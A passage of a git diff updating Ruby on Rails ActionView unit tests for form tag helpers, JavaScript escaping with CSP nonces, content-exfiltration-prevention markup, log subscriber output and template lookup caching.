-  def test_text_area_tag_size_string
-    actual = text_area_tag "body", "hello world", "size" => "20x40"
+  def test_textarea_tag_size_string
+    actual = textarea_tag "body", "hello world", "size" => "20x40"
     expected = %(<textarea cols="20" id="body" name="body" rows="40">\nhello world</textarea>)
     assert_dom_equal expected, actual
   end
 
-  def test_text_area_tag_size_symbol
-    actual = text_area_tag "body", "hello world", size: "20x40"
+  def test_textarea_tag_size_symbol
+    actual = textarea_tag "body", "hello world", size: "20x40"
     expected = %(<textarea cols="20" id="body" name="body" rows="40">\nhello world</textarea>)
     assert_dom_equal expected, actual
   end
 
-  def test_text_area_tag_should_disregard_size_if_its_given_as_an_integer
-    actual = text_area_tag "body", "hello world", size: 20
+  def test_textarea_tag_should_disregard_size_if_its_given_as_an_integer
+    actual = textarea_tag "body", "hello world", size: 20
     expected = %(<textarea id="body" name="body">\nhello world</textarea>)
     assert_dom_equal expected, actual
   end
 
-  def test_text_area_tag_id_sanitized
-    input_elem = root_elem(text_area_tag("item[][description]"))
+  def test_textarea_tag_id_sanitized
+    input_elem = root_elem(textarea_tag("item[][description]"))
     assert_match VALID_HTML_ID, input_elem["id"]
   end
 
-  def test_text_area_tag_escape_content
-    actual = text_area_tag "body", "<b>hello world</b>", size: "20x40"
+  def test_textarea_tag_escape_content
+    actual = textarea_tag "body", "<b>hello world</b>", size: "20x40"
     expected = %(<textarea cols="20" id="body" name="body" rows="40">\n&lt;b&gt;hello world&lt;/b&gt;</textarea>)
     assert_dom_equal expected, actual
   end
 
-  def test_text_area_tag_unescaped_content
-    actual = text_area_tag "body", "<b>hello world</b>", size: "20x40", escape: false
+  def test_textarea_tag_unescaped_content
+    actual = textarea_tag "body", "<b>hello world</b>", size: "20x40", escape: false
     expected = %(<textarea cols="20" id="body" name="body" rows="40">\n<b>hello world</b></textarea>)
     assert_dom_equal expected, actual
   end
 
-  def test_text_area_tag_unescaped_nil_content
-    actual = text_area_tag "body", nil, escape: false
+  def test_textarea_tag_unescaped_nil_content
+    actual = textarea_tag "body", nil, escape: false
     expected = %(<textarea id="body" name="body">\n</textarea>)
     assert_dom_equal expected, actual
   end
@@ -345,6 +639,13 @@ def test_text_field_tag_size_symbol
     assert_dom_equal expected, actual
   end
 
+  def test_text_field_tag_with_ac_parameters
+    actual = text_field_tag "title", ActionController::Parameters.new(key: "value")
+    value = ERB::Util.html_escape({ "key" => "value" }.inspect)
+    expected = %(<input id="title" name="title" type="text" value="#{value}" />)
+    assert_dom_equal expected, actual
+  end
+
   def test_text_field_tag_size_string
     actual = text_field_tag "title", "Hello!", "size" => "75"
     expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
@@ -430,8 +731,8 @@ def test_label_tag_with_block_and_argument_and_options
   end
 
   def test_boolean_options
-    assert_dom_equal %(<input checked="checked" disabled="disabled" id="admin" name="admin" readonly="readonly" type="checkbox" value="1" />), check_box_tag("admin", 1, true, "disabled" => true, :readonly => "yes")
-    assert_dom_equal %(<input checked="checked" id="admin" name="admin" type="checkbox" value="1" />), check_box_tag("admin", 1, true, disabled: false, readonly: nil)
+    assert_dom_equal %(<input checked="checked" disabled="disabled" id="admin" name="admin" readonly="readonly" type="checkbox" value="1" />), checkbox_tag("admin", 1, true, "disabled" => true, :readonly => "yes")
+    assert_dom_equal %(<input checked="checked" id="admin" name="admin" type="checkbox" value="1" />), checkbox_tag("admin", 1, true, disabled: false, readonly: nil)
     assert_dom_equal %(<input type="checkbox" />), tag(:input, type: "checkbox", checked: false)
     assert_dom_equal %(<select id="people" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people", raw("<option>david</option>"), multiple: true)
     assert_dom_equal %(<select id="people_" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people[]", raw("<option>david</option>"), multiple: true)
@@ -468,6 +769,16 @@ def test_empty_submit_tag_with_opt_out
     ActionView::Base.automatically_disable_submit_tag = true
   end
 
+  def test_empty_submit_tag_with_opt_out_and_explicit_disabling
+    ActionView::Base.automatically_disable_submit_tag = false
+    assert_dom_equal(
+      %(<input name='commit' type="submit" value="Save" />),
+      submit_tag("Save", data: { disable_with: false })
+    )
+  ensure
+    ActionView::Base.automatically_disable_submit_tag = true
+  end
+
   def test_submit_tag_having_data_disable_with_string
     assert_dom_equal(
       %(<input data-disable-with="Processing..." data-confirm="Are you sure?" name='commit' type="submit" value="Save" />),
@@ -596,7 +907,7 @@ def test_button_tag_with_data_disable_with_option
 
   def test_image_submit_tag_with_confirmation
     assert_dom_equal(
-      %(<input alt="Save" type="image" src="/images/save.gif" data-confirm="Are you sure?" />),
+      %(<input type="image" src="/images/save.gif" data-confirm="Are you sure?" />),
       image_submit_tag("save.gif", data: { confirm: "Are you sure?" })
     )
   end
@@ -687,6 +998,11 @@ def test_field_set_tag_in_erb
     expected = %(<fieldset class="format">Hello world!</fieldset>)
     assert_dom_equal expected, output_buffer
 
+    output_buffer = render_erb("<%= fieldset_tag('', :class => 'format') do %>Hello world!<% end %>")
+
+    expected = %(<fieldset class="format">Hello world!</fieldset>)
+    assert_dom_equal expected, output_buffer
+
     output_buffer = render_erb("<%= field_set_tag %>")
 
     expected = %(<fieldset></fieldset>)
@@ -698,9 +1014,9 @@ def test_field_set_tag_in_erb
     assert_dom_equal expected, output_buffer
   end
 
-  def test_text_area_tag_options_symbolize_keys_side_effects
+  def test_textarea_tag_options_symbolize_keys_side_effects
     options = { option: "random_option" }
-    text_area_tag "body", "hello world", options
+    textarea_tag "body", "hello world", options
     assert_equal({ option: "random_option" }, options)
   end
 
@@ -728,13 +1044,44 @@ def test_image_label_tag_options_symbolize_keys_side_effects
     assert_equal({ option: "random_option" }, options)
   end
 
+  def test_content_exfiltration_prevention
+    with_prepend_content_exfiltration_prevention(true) do
+      actual = form_tag
+      expected = %(<!-- '"` --><!-- </textarea></xmp> --></option></form>#{whole_form})
+      assert_dom_equal expected, actual
+    end
+  end
+
+  def test_form_with_content_exfiltration_prevention_is_html_safe
+    with_prepend_content_exfiltration_prevention(true) do
+      assert_equal true, form_tag.html_safe?
+    end
+  end
+
   def protect_against_forgery?
     false
   end
 
   private
-
     def root_elem(rendered_content)
-      Nokogiri::HTML::DocumentFragment.parse(rendered_content).children.first # extract from nodeset
+      Rails::Dom::Testing.html_document_fragment.parse(rendered_content).children.first # extract from nodeset
+    end
+
+    def with_default_enforce_utf8(value)
+      old_value = ActionView::Helpers::FormTagHelper.default_enforce_utf8
+      ActionView::Helpers::FormTagHelper.default_enforce_utf8 = value
+
+      yield
+    ensure
+      ActionView::Helpers::FormTagHelper.default_enforce_utf8 = old_value
+    end
+
+    def with_prepend_content_exfiltration_prevention(value)
+      old_value = ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention
+      ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = value
+
+      yield
+    ensure
+      ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = old_value
     end
 end
diff --git a/actionview/test/template/html_test.rb b/actionview/test/template/html_test.rb
index 60f4b0aee6def..17f21cbbc53cc 100644
--- a/actionview/test/template/html_test.rb
+++ b/actionview/test/template/html_test.rb
@@ -1,17 +1,19 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class HTMLTest < ActiveSupport::TestCase
   test "formats returns symbol for recognized MIME type" do
-    assert_equal [:html], ActionView::Template::HTML.new("", :html).formats
+    assert_equal :html, ActionView::Template::HTML.new("", :html).format
   end
 
   test "formats returns string for recognized MIME type when MIME does not have symbol" do
-    foo = Mime::Type.lookup("foo")
+    foo = Mime::Type.lookup("text/foo")
     assert_nil foo.to_sym
-    assert_equal ["foo"], ActionView::Template::HTML.new("", foo).formats
+    assert_equal "text/foo", ActionView::Template::HTML.new("", foo).format
   end
 
   test "formats returns string for unknown MIME type" do
-    assert_equal ["foo"], ActionView::Template::HTML.new("", "foo").formats
+    assert_equal "foo", ActionView::Template::HTML.new("", "foo").format
   end
 end
diff --git a/actionview/test/template/javascript_helper_test.rb b/actionview/test/template/javascript_helper_test.rb
index c7670b056bf95..8ef18fbe6bd83 100644
--- a/actionview/test/template/javascript_helper_test.rb
+++ b/actionview/test/template/javascript_helper_test.rb
@@ -1,29 +1,49 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class JavaScriptHelperTest < ActionView::TestCase
   tests ActionView::Helpers::JavaScriptHelper
 
   attr_accessor :output_buffer
+  attr_reader :request
 
   setup do
     @old_escape_html_entities_in_json = ActiveSupport.escape_html_entities_in_json
+    @old_auto_include_nonce = ActionView::Helpers::JavaScriptHelper.auto_include_nonce
     ActiveSupport.escape_html_entities_in_json = true
     @template = self
+    @request = Class.new do
+      def send_early_hints(links) end
+    end.new
   end
 
   def teardown
     ActiveSupport.escape_html_entities_in_json = @old_escape_html_entities_in_json
+    ActionView::Helpers::JavaScriptHelper.auto_include_nonce = @old_auto_include_nonce
   end
 
   def test_escape_javascript
     assert_equal "", escape_javascript(nil)
+    assert_equal "123", escape_javascript(123)
+    assert_equal "en", escape_javascript(:en)
+    assert_equal "false", escape_javascript(false)
+    assert_equal "true", escape_javascript(true)
     assert_equal %(This \\"thing\\" is really\\n netos\\'), escape_javascript(%(This "thing" is really\n netos'))
     assert_equal %(backslash\\\\test), escape_javascript(%(backslash\\test))
-    assert_equal %(dont <\\/close> tags), escape_javascript(%(dont </close> tags))
-    assert_equal %(unicode &#x2028; newline), escape_javascript(%(unicode \342\200\250 newline).force_encoding(Encoding::UTF_8).encode!)
-    assert_equal %(unicode &#x2029; newline), escape_javascript(%(unicode \342\200\251 newline).force_encoding(Encoding::UTF_8).encode!)
+    assert_equal %(don\\'t <\\/close> tags), escape_javascript(%(don't </close> tags))
+    assert_equal %(unicode &#x2028; newline), escape_javascript((+%(unicode \342\200\250 newline)).force_encoding(Encoding::UTF_8).encode!)
+    assert_equal %(unicode &#x2029; newline), escape_javascript((+%(unicode \342\200\251 newline)).force_encoding(Encoding::UTF_8).encode!)
+
+    assert_equal %(don\\'t <\\/close> tags), j(%(don't </close> tags))
+  end
 
-    assert_equal %(dont <\\/close> tags), j(%(dont </close> tags))
+  def test_escape_backtick
+    assert_equal "\\`", escape_javascript("`")
+  end
+
+  def test_escape_dollar_sign
+    assert_equal "\\$", escape_javascript("$")
   end
 
   def test_escape_javascript_with_safebuffer
@@ -44,7 +64,7 @@ def test_javascript_tag
     assert_equal "foo", output_buffer, "javascript_tag without a block should not concat to output_buffer"
   end
 
-  # Setting the :extname option will control what extension (if any) is appended to the url for assets
+  # Setting the :extname option will control what extension (if any) is appended to the URL for assets
   def test_javascript_include_tag
     assert_dom_equal "<script src='/foo.js'></script>",  javascript_include_tag("/foo")
     assert_dom_equal "<script src='/foo'></script>",     javascript_include_tag("/foo", extname: false)
@@ -59,4 +79,24 @@ def test_javascript_tag_with_options
   def test_javascript_cdata_section
     assert_dom_equal "\n//<![CDATA[\nalert('hello')\n//]]>\n", javascript_cdata_section("alert('hello')")
   end
+
+  def test_javascript_tag_with_auto_nonce_for_content_security_policy
+    instance_eval { def content_security_policy_nonce = "iyhD0Yc0W+c=" }
+    ActionView::Helpers::JavaScriptHelper.auto_include_nonce = true
+
+    assert_dom_equal "<script nonce=\"iyhD0Yc0W+c=\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
+      javascript_tag("alert('hello')")
+  end
+
+  def test_javascript_tag_nonce_true
+    instance_eval { def content_security_policy_nonce = "iyhD0Yc0W+c=" }
+    assert_dom_equal "<script nonce=\"iyhD0Yc0W+c=\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
+      javascript_tag("alert('hello')", nonce: true)
+  end
+
+  def test_javascript_tag_nonce_false
+    instance_eval { def content_security_policy_nonce = "iyhD0Yc0W+c=" }
+    assert_dom_equal "<script>\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
+      javascript_tag("alert('hello')", nonce: false)
+  end
 end
diff --git a/actionview/test/template/log_subscriber_test.rb b/actionview/test/template/log_subscriber_test.rb
index 7f358add7e8cd..afa2479f649e9 100644
--- a/actionview/test/template/log_subscriber_test.rb
+++ b/actionview/test/template/log_subscriber_test.rb
@@ -1,33 +1,46 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_support/log_subscriber/test_helper"
 require "action_view/log_subscriber"
 require "controller/fake_models"
+require "active_support/testing/event_reporter_assertions"
 
 class AVLogSubscriberTest < ActiveSupport::TestCase
-  include ActiveSupport::LogSubscriber::TestHelper
+  include ActiveSupport::Testing::EventReporterAssertions
+
+  def run(*)
+    with_debug_event_reporting do
+      super
+    end
+  end
 
   def setup
     super
+    @logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    @old_logger = ActionView::LogSubscriber.logger
+    ActionView::LogSubscriber.logger = @logger
+
+    ActionView::LookupContext::DetailsKey.clear
+
     view_paths = ActionController::Base.view_paths
+
     lookup_context = ActionView::LookupContext.new(view_paths, {}, ["test"])
-    renderer = ActionView::Renderer.new(lookup_context)
-    @view = ActionView::Base.new(renderer, {})
-    ActionView::LogSubscriber.attach_to :action_view
+    @view          = ActionView::Base.with_empty_template_cache.with_context(lookup_context)
+
     unless Rails.respond_to?(:root)
       @defined_root = true
-      def Rails.root; :defined_root; end # Minitest `stub` expects the method to be defined.
+      Rails.define_singleton_method(:root) { :defined_root } # Minitest `stub` expects the method to be defined.
     end
   end
 
   def teardown
     super
-    ActiveSupport::LogSubscriber.log_subscribers.clear
-    # We need to undef `root`, RenderTestCases don't want this to be defined
-    Rails.instance_eval { undef :root } if @defined_root
-  end
+    ActionView::LogSubscriber.logger = @old_logger
+    ActionController::Base.view_paths.map(&:clear_cache)
 
-  def set_logger(logger)
-    ActionView::Base.logger = logger
+    # We need to undef `root`, RenderTestCases don't want this to be defined
+    Rails.instance_eval { undef :root } if defined?(@defined_root)
   end
 
   def set_cache_controller
@@ -39,16 +52,41 @@ def set_cache_controller
 
   def set_view_cache_dependencies
     def @view.view_cache_dependencies; []; end
-    def @view.fragment_cache_key(*); "ahoy `controller` dependency"; end
+    def @view.combined_fragment_cache_key(*); "ahoy `controller` dependency"; end
   end
 
-  def test_render_file_template
+  def test_render_template_template
     Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
-      @view.render(file: "test/hello_world")
-      wait
+      @view.render(template: "test/hello_world")
+
+      assert_equal 1, @logger.logged(:debug).size
+      assert_equal 1, @logger.logged(:info).size
+      assert_match(/Rendering test\/hello_world\.erb/, @logger.logged(:debug).last)
+      assert_match(/Rendered test\/hello_world\.erb/, @logger.logged(:info).last)
+    end
+  end
 
+  def test_render_template_with_layout
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      @view.render(template: "test/hello_world", layout: "layouts/yield")
+
+      assert_equal 2, @logger.logged(:debug).size
       assert_equal 2, @logger.logged(:info).size
-      assert_match(/Rendering test\/hello_world\.erb/, @logger.logged(:info).first)
+
+      assert_match(/Rendering layout layouts\/yield\.erb/, @logger.logged(:debug).first)
+      assert_match(/Rendering test\/hello_world\.erb within layouts\/yield/, @logger.logged(:debug).last)
+      assert_match(/Rendered test\/hello_world\.erb within layouts\/yield/, @logger.logged(:info).first)
+      assert_match(/Rendered layout layouts\/yield\.erb/, @logger.logged(:info).last)
+    end
+  end
+
+  def test_render_file_template
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      @view.render(file: "#{FIXTURE_LOAD_PATH}/test/hello_world.erb")
+
+      assert_equal 1, @logger.logged(:debug).size
+      assert_equal 1, @logger.logged(:info).size
+      assert_match(/Rendering test\/hello_world\.erb/, @logger.logged(:debug).last)
       assert_match(/Rendered test\/hello_world\.erb/, @logger.logged(:info).last)
     end
   end
@@ -56,10 +94,10 @@ def test_render_file_template
   def test_render_text_template
     Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
       @view.render(plain: "TEXT")
-      wait
 
-      assert_equal 2, @logger.logged(:info).size
-      assert_match(/Rendering text template/, @logger.logged(:info).first)
+      assert_equal 1, @logger.logged(:debug).size
+      assert_equal 1, @logger.logged(:info).size
+      assert_match(/Rendering text template/, @logger.logged(:debug).last)
       assert_match(/Rendered text template/, @logger.logged(:info).last)
     end
   end
@@ -67,10 +105,10 @@ def test_render_text_template
   def test_render_inline_template
     Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
       @view.render(inline: "<%= 'TEXT' %>")
-      wait
 
-      assert_equal 2, @logger.logged(:info).size
-      assert_match(/Rendering inline template/, @logger.logged(:info).first)
+      assert_equal 1, @logger.logged(:debug).size
+      assert_equal 1, @logger.logged(:info).size
+      assert_match(/Rendering inline template/, @logger.logged(:debug).last)
       assert_match(/Rendered inline template/, @logger.logged(:info).last)
     end
   end
@@ -78,10 +116,9 @@ def test_render_inline_template
   def test_render_partial_with_implicit_path
     Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
       @view.render(Customer.new("david"), greeting: "hi")
-      wait
 
-      assert_equal 1, @logger.logged(:info).size
-      assert_match(/Rendered customers\/_customer\.html\.erb/, @logger.logged(:info).last)
+      assert_equal 1, @logger.logged(:debug).size
+      assert_match(/Rendered customers\/_customer\.html\.erb/, @logger.logged(:debug).last)
     end
   end
 
@@ -91,10 +128,9 @@ def test_render_partial_with_cache_missed
       set_cache_controller
 
       @view.render(partial: "test/cached_customer", locals: { cached_customer: Customer.new("david") })
-      wait
 
-      assert_equal 1, @logger.logged(:info).size
-      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache miss\]/, @logger.logged(:info).last)
+      assert_equal 1, @logger.logged(:debug).size
+      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache miss\]/, @logger.logged(:debug).last)
     end
   end
 
@@ -103,13 +139,72 @@ def test_render_partial_with_cache_hitted
       set_view_cache_dependencies
       set_cache_controller
 
-      @view.render(partial: "test/cached_customer", locals: { cached_customer: Customer.new("david") })
       # Second render should hit cache.
       @view.render(partial: "test/cached_customer", locals: { cached_customer: Customer.new("david") })
-      wait
+      @view.render(partial: "test/cached_customer", locals: { cached_customer: Customer.new("david") })
 
-      assert_equal 2, @logger.logged(:info).size
-      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache hit\]/, @logger.logged(:info).last)
+      assert_equal 2, @logger.logged(:debug).size
+      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache hit\]/, @logger.logged(:debug).last)
+    end
+  end
+
+  def test_render_partial_as_layout
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      set_view_cache_dependencies
+      set_cache_controller
+
+      @view.render(layout: "layouts/yield_only") { "hello" }
+
+      assert_equal 1, @logger.logged(:debug).size
+      assert_match(/Rendered layouts\/_yield_only\.erb/, @logger.logged(:debug).first)
+    end
+  end
+
+  def test_render_partial_with_layout
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      set_view_cache_dependencies
+      set_cache_controller
+
+      @view.render(partial: "partial", layout: "layouts/yield_only")
+
+      assert_equal 1, @logger.logged(:debug).size
+      assert_match(/Rendered test\/_partial\.html\.erb within layouts\/_yield_only/, @logger.logged(:debug).first)
+    end
+  end
+
+  def test_render_uncached_outer_partial_with_inner_cached_partial_wont_mix_cache_hits_or_misses
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      set_view_cache_dependencies
+      set_cache_controller
+
+      @view.render(partial: "test/nested_cached_customer", locals: { cached_customer: Customer.new("Stan") })
+      *, cached_inner, uncached_outer = @logger.logged(:debug)
+      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache miss\]/, cached_inner)
+      assert_match(/Rendered test\/_nested_cached_customer\.erb \(Duration: .*?ms \| GC: .*?\)$/, uncached_outer)
+
+      # Second render hits the cache for the _cached_customer partial. Outer template's log shouldn't be affected.
+      @view.render(partial: "test/nested_cached_customer", locals: { cached_customer: Customer.new("Stan") })
+      *, cached_inner, uncached_outer = @logger.logged(:debug)
+      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache hit\]/, cached_inner)
+      assert_match(/Rendered test\/_nested_cached_customer\.erb \(Duration: .*?ms \| GC: .*?\)$/, uncached_outer)
+    end
+  end
+
+  def test_render_cached_outer_partial_with_cached_inner_partial
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      set_view_cache_dependencies
+      set_cache_controller
+
+      @view.render(partial: "test/cached_nested_cached_customer", locals: { cached_customer: Customer.new("Stan") })
+      *, cached_inner, cached_outer = @logger.logged(:debug)
+      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache miss\]/, cached_inner)
+      assert_match(/Rendered test\/_cached_nested_cached_customer\.erb (.*) \[cache miss\]/, cached_outer)
+
+      # One render: inner partial skipped, because the outer has been cached.
+      assert_difference -> { @logger.logged(:debug).size }, +1 do
+        @view.render(partial: "test/cached_nested_cached_customer", locals: { cached_customer: Customer.new("Stan") })
+      end
+      assert_match(/Rendered test\/_cached_nested_cached_customer\.erb (.*) \[cache hit\]/, @logger.logged(:debug).last)
     end
   end
 
@@ -119,59 +214,70 @@ def test_render_partial_with_cache_hitted_and_missed
       set_cache_controller
 
       @view.render(partial: "test/cached_customer", locals: { cached_customer: Customer.new("david") })
-      wait
-      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache miss\]/, @logger.logged(:info).last)
+      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache miss\]/, @logger.logged(:debug).last)
 
       @view.render(partial: "test/cached_customer", locals: { cached_customer: Customer.new("david") })
-      wait
-      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache hit\]/, @logger.logged(:info).last)
+      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache hit\]/, @logger.logged(:debug).last)
 
       @view.render(partial: "test/cached_customer", locals: { cached_customer: Customer.new("Stan") })
-      wait
-      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache miss\]/, @logger.logged(:info).last)
+      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache miss\]/, @logger.logged(:debug).last)
     end
   end
 
   def test_render_collection_template
     Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      set_cache_controller
+
       @view.render(partial: "test/customer", collection: [ Customer.new("david"), Customer.new("mary") ])
-      wait
 
-      assert_equal 1, @logger.logged(:info).size
-      assert_match(/Rendered collection of test\/_customer.erb \[2 times\]/, @logger.logged(:info).last)
+      assert_equal 1, @logger.logged(:debug).size
+      assert_match(/Rendered collection of test\/_customer.erb \[2 times\]/, @logger.logged(:debug).last)
+    end
+  end
+
+  def test_render_collection_template_with_layout
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      set_cache_controller
+
+      @view.render(partial: "test/customer", layout: "layouts/yield_only", collection: [ Customer.new("david"), Customer.new("mary") ])
+
+      assert_equal 1, @logger.logged(:debug).size
+      assert_match(/Rendered collection of test\/_customer.erb within layouts\/_yield_only \[2 times\]/, @logger.logged(:debug).last)
     end
   end
 
   def test_render_collection_with_implicit_path
     Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      set_cache_controller
+
       @view.render([ Customer.new("david"), Customer.new("mary") ], greeting: "hi")
-      wait
 
-      assert_equal 1, @logger.logged(:info).size
-      assert_match(/Rendered collection of customers\/_customer\.html\.erb \[2 times\]/, @logger.logged(:info).last)
+      assert_equal 1, @logger.logged(:debug).size
+      assert_match(/Rendered collection of customers\/_customer\.html\.erb \[2 times\]/, @logger.logged(:debug).last)
     end
   end
 
   def test_render_collection_template_without_path
     Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      set_cache_controller
+
       @view.render([ GoodCustomer.new("david"), Customer.new("mary") ], greeting: "hi")
-      wait
 
-      assert_equal 1, @logger.logged(:info).size
-      assert_match(/Rendered collection of templates/, @logger.logged(:info).last)
+      assert_equal 1, @logger.logged(:debug).size
+      assert_match(/Rendered collection of templates/, @logger.logged(:debug).last)
     end
   end
 
   def test_render_collection_with_cached_set
     Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
       set_view_cache_dependencies
+      set_cache_controller
 
       @view.render(partial: "customers/customer", collection: [ Customer.new("david"), Customer.new("mary") ], cached: true,
         locals: { greeting: "hi" })
-      wait
 
-      assert_equal 1, @logger.logged(:info).size
-      assert_match(/Rendered collection of customers\/_customer\.html\.erb \[0 \/ 2 cache hits\]/, @logger.logged(:info).last)
+      assert_equal 1, @logger.logged(:debug).size
+      assert_match(/Rendered collection of customers\/_customer\.html\.erb \[0 \/ 2 cache hits\]/, @logger.logged(:debug).last)
     end
   end
 end
diff --git a/actionview/test/template/lookup_context_test.rb b/actionview/test/template/lookup_context_test.rb
index b47d92df34bb3..c00f37a9d2d8e 100644
--- a/actionview/test/template/lookup_context_test.rb
+++ b/actionview/test/template/lookup_context_test.rb
@@ -1,25 +1,29 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "abstract_controller/rendering"
 
 class LookupContextTest < ActiveSupport::TestCase
   def setup
-    @lookup_context = ActionView::LookupContext.new(FIXTURE_LOAD_PATH, {})
+    @lookup_context = build_lookup_context(FIXTURE_LOAD_PATH, {})
     ActionView::LookupContext::DetailsKey.clear
   end
 
+  def build_lookup_context(paths, details)
+    ActionView::LookupContext.new(paths, details)
+  end
+
   def teardown
     I18n.locale = :en
   end
 
   test "allows to override default_formats with ActionView::Base.default_formats" do
-    begin
-      formats = ActionView::Base.default_formats
-      ActionView::Base.default_formats = [:foo, :bar]
+    formats = ActionView::Base.default_formats
+    ActionView::Base.default_formats = [:foo, :bar]
 
-      assert_equal [:foo, :bar], ActionView::LookupContext.new([]).default_formats
-    ensure
-      ActionView::Base.default_formats = formats
-    end
+    assert_equal [:foo, :bar], ActionView::LookupContext.new([]).default_formats
+  ensure
+    ActionView::Base.default_formats = formats
   end
 
   test "process view paths on initialization" do
@@ -33,7 +37,7 @@ def teardown
 
   test "allows me to freeze and retrieve frozen formats" do
     @lookup_context.formats.freeze
-    assert @lookup_context.formats.frozen?
+    assert_predicate @lookup_context.formats, :frozen?
   end
 
   test "provides getters and setters for variants" do
@@ -53,7 +57,7 @@ def teardown
 
   test "handles explicitly defined */* formats fallback to :js" do
     @lookup_context.formats = [:js, Mime::ALL]
-    assert_equal [:js, *Mime::SET.symbols], @lookup_context.formats
+    assert_equal [:js, *Mime::SET.symbols].uniq, @lookup_context.formats
   end
 
   test "adds :html fallback to :js formats" do
@@ -61,6 +65,14 @@ def teardown
     assert_equal [:js, :html], @lookup_context.formats
   end
 
+  test "raises on invalid format assignment" do
+    ex = assert_raises ArgumentError do
+      @lookup_context.formats = [:html, :invalid, "also bad"]
+    end
+
+    assert_equal 'Invalid formats: :invalid, "also bad"', ex.message
+  end
+
   test "provides getters and setters for locale" do
     @lookup_context.locale = :pt
     assert_equal :pt, @lookup_context.locale
@@ -107,29 +119,11 @@ def teardown
     assert_equal "Hello texty phone!", template.source
   end
 
-  test "found templates respects given formats if one cannot be found from template or handler" do
+  test "found templates have nil format if one cannot be found from template or handler" do
     assert_called(ActionView::Template::Handlers::Builder, :default_format, returns: nil) do
       @lookup_context.formats = [:text]
       template = @lookup_context.find("hello", %w(test))
-      assert_equal [:text], template.formats
-    end
-  end
-
-  test "adds fallbacks to view paths when required" do
-    assert_equal 1, @lookup_context.view_paths.size
-
-    @lookup_context.with_fallbacks do
-      assert_equal 3, @lookup_context.view_paths.size
-      assert_includes @lookup_context.view_paths, ActionView::FallbackFileSystemResolver.new("")
-      assert_includes @lookup_context.view_paths, ActionView::FallbackFileSystemResolver.new("/")
-    end
-  end
-
-  test "add fallbacks just once in nested fallbacks calls" do
-    @lookup_context.with_fallbacks do
-      @lookup_context.with_fallbacks do
-        assert_equal 3, @lookup_context.view_paths.size
-      end
+      assert_nil template.format
     end
   end
 
@@ -155,37 +149,34 @@ def teardown
     assert_equal 3, keys.uniq.size
   end
 
-  test "gives the key forward to the resolver, so it can be used as cache key" do
-    @lookup_context.view_paths = ActionView::FixtureResolver.new("test/_foo.erb" => "Foo")
+  test "uses details as part of cache key" do
+    fixtures = {
+      "test/_foo.erb" => "Foo",
+      "test/_foo.da.erb" => "Bar",
+    }
+    @lookup_context = build_lookup_context(ActionView::FixtureResolver.new(fixtures), {})
+
     template = @lookup_context.find("foo", %w(test), true)
+    original_template = template
     assert_equal "Foo", template.source
 
-    # Now we are going to change the template, but it won't change the returned template
-    # since we will hit the cache.
-    @lookup_context.view_paths.first.hash["test/_foo.erb"] = "Bar"
+    # We should get the same template
     template = @lookup_context.find("foo", %w(test), true)
-    assert_equal "Foo", template.source
+    assert_same original_template, template
 
-    # This time we will change the locale. The updated template should be picked since
-    # lookup_context generated a new key after we changed the locale.
+    # Using a different locale we get a different view
     @lookup_context.locale = :da
     template = @lookup_context.find("foo", %w(test), true)
     assert_equal "Bar", template.source
 
-    # Now we will change back the locale and it will still pick the old template.
-    # This is expected because lookup_context will reuse the previous key for :en locale.
+    # Using en we get the original view
     @lookup_context.locale = :en
     template = @lookup_context.find("foo", %w(test), true)
-    assert_equal "Foo", template.source
-
-    # Finally, we can expire the cache. And the expected template will be used.
-    @lookup_context.view_paths.first.clear_cache
-    template = @lookup_context.find("foo", %w(test), true)
-    assert_equal "Bar", template.source
+    assert_same original_template, template
   end
 
   test "can disable the cache on demand" do
-    @lookup_context.view_paths = ActionView::FixtureResolver.new("test/_foo.erb" => "Foo")
+    @lookup_context = build_lookup_context(ActionView::FixtureResolver.new("test/_foo.erb" => "Foo"), {})
     old_template = @lookup_context.find("foo", %w(test), true)
 
     template = @lookup_context.find("foo", %w(test), true)
@@ -193,7 +184,7 @@ def teardown
 
     assert @lookup_context.cache
